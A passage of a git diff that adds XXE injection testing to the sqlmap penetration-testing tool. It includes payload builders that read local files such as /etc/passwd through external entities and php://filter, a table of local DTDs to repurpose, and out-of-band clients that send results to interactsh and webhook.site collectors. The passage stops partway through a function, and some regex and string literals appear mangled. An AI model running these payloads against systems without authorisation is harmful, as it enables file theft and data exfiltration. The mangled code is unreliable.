(--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -557,6 +557,11 @@ def start(): sstiScan() continue + if conf.xxe: + from lib.techniques.xxe.inject import xxeScan + xxeScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index f828e4cf916..f6d55580877 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -144,6 +144,7 @@ from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer +from lib.request.dns import InteractshDNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.keepalive import HTTPKeepAliveHandler from lib.request.keepalive import HTTPSKeepAliveHandler @@ -935,10 +936,10 @@ def _setTamperingFunctions(): logger.warning(warnMsg) # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so # warn instead of silently ignoring the user's '--tamper' - if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): - engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg += "will be ignored by the '--%s' engine" % engine logger.warning(warnMsg) @@ -2581,6 +2582,26 @@ def _setDNSServer(): if not conf.dnsDomain: return + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) + return + infoMsg = "setting up DNS server instance" logger.info(infoMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8ead4860487..08cbf800bee 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -125,6 +125,9 @@ "ldap": "boolean", "xpath": "boolean", "ssti": "boolean", + "xxe": "boolean", + "oobServer": "string", + "oobToken": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 39079dd022d..7f4522c89ac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.23" +VERSION = "1.10.7.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1071,6 +1071,73 @@ SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) +# XXE parser error signatures for detection and fingerprinting. Each tuple is +# (parser_family, regex_fragment). A match means the XML surface reached a real +# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) - +# useful both as an error-based oracle and to fingerprint the back-end parser. +XXE_ERROR_SIGNATURES = ( + ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), + ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), + ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), + (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), + ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), + ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), + ("Go encoding/xml", r"XML syntax error on line \d+"), + ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), +) + +XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) + +# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external +# entities explicitly refused). Reported as "reachable but protected" - never a hit. +XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)" + +# Benign, low-entropy files used only to demonstrate file-read impact once XXE is +# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a +# short host-identity file is enough to prove the read without tripping decoys. +# Out-of-band (interactsh) collector for blind XXE confirmation. Public default +# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server +# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match +# the interactsh defaults (subdomain = <20-char id><13-char nonce>.). +OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration +# (hosts the malicious external DTD and captures the file-bearing callback). Unlike +# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +OOB_EXFIL_ENDPOINT = "https://webhook.site" +OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" +OOB_CORRELATION_ID_LENGTH = 20 +OOB_NONCE_LENGTH = 13 +OOB_POLL_ATTEMPTS = 5 +OOB_POLL_DELAY = 2 + +# Time-based blind tier: an external entity aimed at this non-routable RFC5737 +# TEST-NET-1 host makes a fetching parser stall on the connection, so a large, +# reproducible response delay betrays otherwise-blind XXE with NO collector needed. +# The delay must exceed a DTD-processing control baseline by this many seconds. +XXE_BLACKHOLE_HOST = "192.0.2.1" +XXE_TIME_THRESHOLD = 5 + +XXE_IMPACT_FILES = ( + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), + ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last +) + +# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: +# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle +# an error/exfil primitive, so no outbound network is needed. (path, entity_name). +# Windows paths are community-sourced and remain UNVERIFIED vendor-side. +XXE_LOCAL_DTDS = ( + ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable + ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package + ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"), + ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile + ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED + ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"), + ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"), + ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), +) + # Upper bound for SSTI value extraction (reserved for future use) SSTI_MAX_LENGTH = 256 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9081fe27d69..d70b1001d11 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -440,7 +440,7 @@ def cmdLineParser(argv=None): help="Column values to use for UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") @@ -790,6 +790,15 @@ def cmdLineParser(argv=None): nonsql.add_argument("--ssti", dest="ssti", action="store_true", help="Test for server-side template injection") + nonsql.add_argument("--xxe", dest="xxe", action="store_true", + help="Test for XML External Entity (XXE) injection") + + nonsql.add_argument("--oob-server", dest="oobServer", + help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + + nonsql.add_argument("--oob-token", dest="oobToken", + help="Authentication token for a self-hosted '--oob-server'") + # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") diff --git a/lib/request/dns.py b/lib/request/dns.py index d51c795821c..5b70825088d 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -225,6 +225,60 @@ def _is_udp_connreset(ex): thread.daemon = True thread.start() +class InteractshDNSServer(object): + """DNS exfiltration collector backed by a public (or self-hosted) interactsh + interaction server instead of a locally-bound privileged :53 socket. This lets + the '--dns-domain' data-exfiltration technique run with zero infrastructure - no + delegated authoritative domain, no root/Administrator, no reachable listener - + by resolving lookups under the interactsh correlation domain and polling them + back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it + is a drop-in for conf.dnsServer. + """ + + def __init__(self, server=None): + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package") + + self._client = Interactsh(server=server) + + if not self._client.registered: + raise socket.error("could not register with an interactsh interaction server") + + self.domain = self._client.dnsDomain() + self._seen = set() + self._running = True + self._initialized = True + + def run(self): + """No background listener is needed - interactsh does the receiving.""" + pass + + def pop(self, prefix=None, suffix=None): + """ + Returns a captured DNS lookup name matching the given prefix/suffix + (prefix..suffix.), mirroring DNSServer.pop(). + """ + + retVal = None + + for name in self._client.dnsNames(): + if name in self._seen: + continue + + if prefix is None and suffix is None: + self._seen.add(name) + retVal = name + break + + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + retVal = name + break + + return retVal + if __name__ == "__main__": server = None try: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py new file mode 100644 index 00000000000..b089dcd759c --- /dev/null +++ b/lib/request/interactsh.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import time + +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_CORRELATION_ID_LENGTH +from lib.core.settings import OOB_INTERACTSH_SERVERS +from lib.core.settings import OOB_NONCE_LENGTH + +# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an +# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py); +# without it the OOB tier is simply skipped rather than erroring. +try: + from Crypto.Cipher import AES + from Crypto.Cipher import PKCS1_OAEP + from Crypto.Hash import SHA256 + from Crypto.PublicKey import RSA + _HAS_CRYPTO = True +except ImportError: + _HAS_CRYPTO = False + + +def hasCrypto(): + return _HAS_CRYPTO + + +class Interactsh(object): + """Minimal interactsh client: registers a per-scan RSA key with a public (or + self-hosted) interactsh server, hands out unique callback URLs, and polls for + the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on + the wire and decrypted locally, so the server operator never sees their content. + All HTTP goes through sqlmap's own request stack (proxy/timeout honoured).""" + + def __init__(self, server=None, token=None): + self.server = None + self.token = token or conf.get("oobToken") + self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) + self.secret = randomStr(32, lowercase=True) + self.registered = False + self._key = None + self._dnsNonce = None + + if not _HAS_CRYPTO: + return + + self._key = RSA.generate(2048) + pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM")))) + candidates = [server] if server else list(OOB_INTERACTSH_SERVERS) + + for candidate in candidates: + if not candidate: + continue + body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) + if self._request("https://%s/register" % candidate, post=body): + self.server = candidate + self.registered = True + logger.debug("registered with OOB interaction server '%s'" % candidate) + break + + def _request(self, url, post=None): + """Direct request to the interactsh server (a fixed service, never the target). + Self-contained on urllib so it works regardless of sqlmap's request-stack init + order (it is also called during option setup, before getPage is usable); honours + --proxy and tolerates self-signed certs like the rest of sqlmap. Returns the + response body text on success, otherwise None.""" + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + if self.token: + headers[HTTP_HEADER.AUTHORIZATION] = self.token + + handlers = [] + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex))) + return None + + def url(self): + """Return a fresh unique callback URL (host = correlationId + nonce).""" + nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "http://%s%s.%s" % (self.correlationId, nonce, self.server) + + def dnsDomain(self): + """Stable domain suffix (host = correlationId + a fixed nonce) usable as an + exfiltration suffix - additional labels prepended by a payload still resolve + to this correlation id, so every DNS lookup under it is captured.""" + if not self._dnsNonce: + self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server) + + def dnsNames(self): + """Poll and return the fully-qualified names (minus the server suffix) of the + DNS lookups captured so far, e.g. 'prefix..suffix.'.""" + return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")] + + def poll(self): + """Return the list of decrypted interaction records captured so far.""" + if not self.registered: + return [] + + page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + if not page: + return [] + + try: + response = json.loads(page) + except ValueError: + return [] + + retVal = [] + data = response.get("data") or [] + if data: + try: + aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"])) + except Exception as ex: + logger.debug("OOB AES key decryption failed: %s" % getText(ex)) + return [] + + for item in data: + try: + raw = base64.b64decode(item) + plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:]) + retVal.append(json.loads(getText(plain))) + except Exception as ex: + logger.debug("OOB interaction decryption failed: %s" % getText(ex)) + + return retVal + + def pollUntil(self, attempts, delay): + """Poll repeatedly, returning as soon as any interaction is captured.""" + for _ in range(attempts): + time.sleep(delay) + interactions = self.poll() + if interactions: + return interactions + return [] + + def close(self): + if self.registered: + body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) + self._request("https://%s/deregister" % self.server, post=body) + self.registered = False diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py new file mode 100644 index 00000000000..9191ae3ff76 --- /dev/null +++ b/lib/request/webhooksite.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json + +from lib.core.data import logger +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_EXFIL_ENDPOINT +from lib.request.connect import Connect as Request + +# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom +# response (our malicious external DTD) AND log the request the target then makes +# (carrying the file content). interactsh cannot host arbitrary content, hence the +# separate backend. HTTP-only, free tier, no account required for basic tokens. + + +class WebhookSite(object): + """Thin webhook.site client: mints tokens (optionally serving fixed content) + and reads back the requests captured on them. All calls go through sqlmap's + request stack (proxy/timeout honoured) straight to the service, not the target.""" + + def __init__(self): + # Exfil host is the public content-serving endpoint (its token API is + # service-specific, so --oob-server, which selects the interactsh *detection* + # server, deliberately does not repoint it). + self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/') + + def _api(self, path, post=None): + try: + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, + auxHeaders=headers, direct=True, silent=True, raise404=False) + return page if (code is None or code in (200, 201)) else None + except Exception as ex: + logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) + return None + + def newToken(self, content=None): + """Create a token. When `content` is given the token serves it verbatim + (used to host the external DTD). Returns the token UUID or None.""" + body = {"default_status": 200} + if content is not None: + body["default_content"] = content + body["default_content_type"] = "application/xml" + page = self._api("/token", post=json.dumps(body)) + if page: + try: + return json.loads(page).get("uuid") + except ValueError: + pass + return None + + def hostUrl(self, token): + """Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly + cannot fetch https external entities.""" + host = self.endpoint.split("://", 1)[-1] + return "http://%s/%s" % (host, token) + + def captured(self, token): + """Return the list of request records captured on `token` (newest first).""" + page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token) + if page: + try: + return json.loads(page).get("data") or [] + except ValueError: + pass + return [] diff --git a/lib/techniques/xxe/__init__.py b/lib/techniques/xxe/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xxe/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py new file mode 100644 index 00000000000..0a585c4d7cc --- /dev/null +++ b/lib/techniques/xxe/inject.py @@ -0,0 +1,699 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import XXE_BLACKHOLE_HOST +from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_HARDENED_REGEX +from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import OOB_EXFIL_DEFAULT_FILE +from lib.core.settings import OOB_POLL_ATTEMPTS +from lib.core.settings import OOB_POLL_DELAY +from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_TIME_THRESHOLD +from lib.request.connect import Connect as Request + +# Fresh per-scan sentinel token. Deliberately a random opaque string (never +# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and +# so its presence in a response is unambiguously our reflected/expanded value. +SENTINEL = randomStr(length=12, lowercase=True) + +# First element of the document (skipping the prolog, comments and any +# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. +_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") + +# A leaf text node: >text< with no markup/entities inside. Used to place an +# entity reference where the application is most likely to echo it back. +_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<") + + +def _looksXml(data): + data = (getText(data) or "").strip() + return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data + + +def _cleanBody(): + """Return the original request body with sqlmap's injection marks removed. + Order matters: drop the injected custom marks first (any literal '*' from the + original body was already escaped to ASTERISK_MARKER by target processing), + then restore those escaped asterisks.""" + data = getText(conf.data or "") + data = data.replace(kb.customInjectionMark or "\x00", "") + data = data.replace(ASTERISK_MARKER, "*") + return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct + + +def _rootName(xml): + stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL) + stripped = re.sub(r"", "", stripped, flags=re.DOTALL) + stripped = re.sub(r"]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL) + match = _ROOT_RE.search(stripped) + return match.group(1) if match else None + + +def _auxHeaders(): + """Send an XML content-type unless the user already pinned one (via -H/-r).""" + for name, _ in (conf.httpHeaders or []): + if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return None + return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"} + + +def _send(body): + """Issue one request with a fully-crafted XML body, preserving sqlmap's normal + request machinery (URL, cookies, headers, proxy, delay) for everything else.""" + + if conf.delay: + time.sleep(conf.delay) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) + page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("XXE probe request failed: %s" % getUnicode(ex)) + return "" + + +def _buildDoctype(xml, rootName, internalSubset): + """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. + A document may already declare a DOCTYPE - injecting a second one is invalid + XML and every parser rejects it, so we splice into the existing declaration + instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + + existing = re.search(r"\[]*\[", xml) + if existing: + # Splice our declarations into the existing internal subset. + insertAt = xml.index('[', existing.start()) + 1 + return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] + + subsetless = re.search(r"\[]*>", xml) + if subsetless: + # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): + # add an internal subset before its closing '>' (both may legally coexist). + close = xml.index('>', subsetless.start()) + return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] + + doctype = "" % (rootName, internalSubset) + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + if prolog: + end = prolog.end() + return xml[:end] + "\n" + doctype + xml[end:] + return doctype + "\n" + xml + + +def _placeRef(xml, snippet, attrs=False): + """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf + text node - not just the first - so detection does not depend on which field the + application happens to reflect. When `attrs` is set (internal-entity tier only), + also seed existing attribute values, since a general internal entity legally + expands inside an attribute (external entity refs do NOT - never seed attributes + for the external/XInclude tiers or the document becomes ill-formed). Falls back to + injecting just before the root's closing tag when there is no text node at all.""" + + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + head, tail = xml[:start], xml[start:] + tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + if attrs: + # Seed every attribute value except namespace declarations (xmlns / xmlns:*), + # whose rewriting would break the document. Only touches simple, entity-free + # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. + tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', + lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) + count += acount + if count: + return head + tail + + rootName = _rootName(xml) + if rootName: + close = "" % rootName + if close in xml: + idx = xml.rindex(close) + return xml[:idx] + snippet + xml[idx:] + # self-closing root: -> snippet + selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml) + if selfClose: + tag = selfClose.group(0) + opened = tag[:-2] + ">" + snippet + close + return xml[:selfClose.start()] + opened + xml[selfClose.end():] + return xml + + +def _fingerprint(page): + page = getUnicode(page or "") + for family, regex in XXE_ERROR_SIGNATURES: + if re.search(regex, page): + return family + return None + + +def _echoed(page): + """True when the response mirrors our raw markup back. Essential guard for the + sentinel-in-path oracles: a debug/echo endpoint that never parses XML would + otherwise reflect the sentinel (it is inside the body we sent) and look like a + genuine parser error. A real error surfaces only the path/message, not the + DOCTYPE/entity declarations.""" + page = getUnicode(page or "") + return "' % (ent, SENTINEL) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + page = _send(payload) + + if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: + return payload, page + return None, page + + +def _confirmRead(page, pattern, baseline): + """Return the first response line that matches a known file-content signature + and is absent from the baseline. The baseline guard is essential: it stops a + generic short reply (e.g. 'received', 'ok') from matching a loose pattern.""" + + baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines()) + for line in getUnicode(page).splitlines(): + line = line.strip() + if line and line not in baselineLines and re.search(pattern, line): + return line + return None + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target: place the external + entity between two random markers so the exact file content can be sliced out + of the response regardless of surrounding template. Raw file:// works for text + files; php://filter base64 (PHP) carries files with XML-special bytes. Returns + the file content or None.""" + + from lib.core.convert import decodeBase64 + + resource = fileName if fileName.startswith("/") else "/" + fileName + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + for systemId, isB64 in (("file://%s" % resource, False), + ("php://filter/convert.base64-encode/resource=%s" % resource, True)): + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + continue + data = match.group(1) + if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo + continue + if isB64: + try: + data = getText(decodeBase64(data.strip())) + except Exception: + continue + if data and data.strip(): + return data + return None + + +def _tryExternalFile(xml, rootName, baseline): + """Impact demonstration once XXE is live: read a benign host-identity file via + an external general entity. Returns (systemId, snippet) on a confirmed read.""" + + for systemId, pattern in XXE_IMPACT_FILES: + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + snippet = _confirmRead(_send(payload), pattern, baseline) + if snippet: + return systemId, snippet + return None, None + + +def _tryPhpFilter(xml, rootName, baseline): + """PHP-only in-band read that survives newlines/binary: base64 a source file + through php://filter. Confirmed when the reflection decodes to file content.""" + + from lib.core.convert import decodeBase64 + + baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) + for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): + resource = systemId[len("file://"):] + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, resource) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(payload) + for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)): + if token in baselineTokens: + continue + try: + decoded = getText(decodeBase64(token)) + except Exception: + continue + if decoded and re.search(pattern, decoded, re.M): + return payload + return None + + +def _tryError(xml, rootName): + """T3 error-based: a parameter entity points at a non-existent path carrying + the sentinel. Confirmed when the sentinel surfaces inside a parser error.""" + + subset = '\n%%xxe;' % SENTINEL + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, page + + +def _tryLocalDtd(xml, rootName): + """T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its + parameter entities to load a sentinel path, and read the sentinel back out of + the resulting parser error - no outbound network required.""" + + for dtdPath, entName in XXE_LOCAL_DTDS: + subset = ( + '\n' + "%xxe;'>\n" + "%%local_dtd;" + ) % (dtdPath, entName, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, "" + + +def _tryErrorExfil(xml, rootName): + """In-band error-based file EXFILTRATION: coerce the parser into an error whose + message embeds the target file's contents (not just a sentinel). Two vehicles: + (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on + the exfil service -> needs egress to fetch it plus verbose errors. php://filter + base64 carries a whole multi-line file intact; raw file:// leaks the first line + on any parser. Returns (content, filename) or (None, None).""" + + from lib.core.convert import decodeBase64 + + fileName = conf.get("fileRead") or 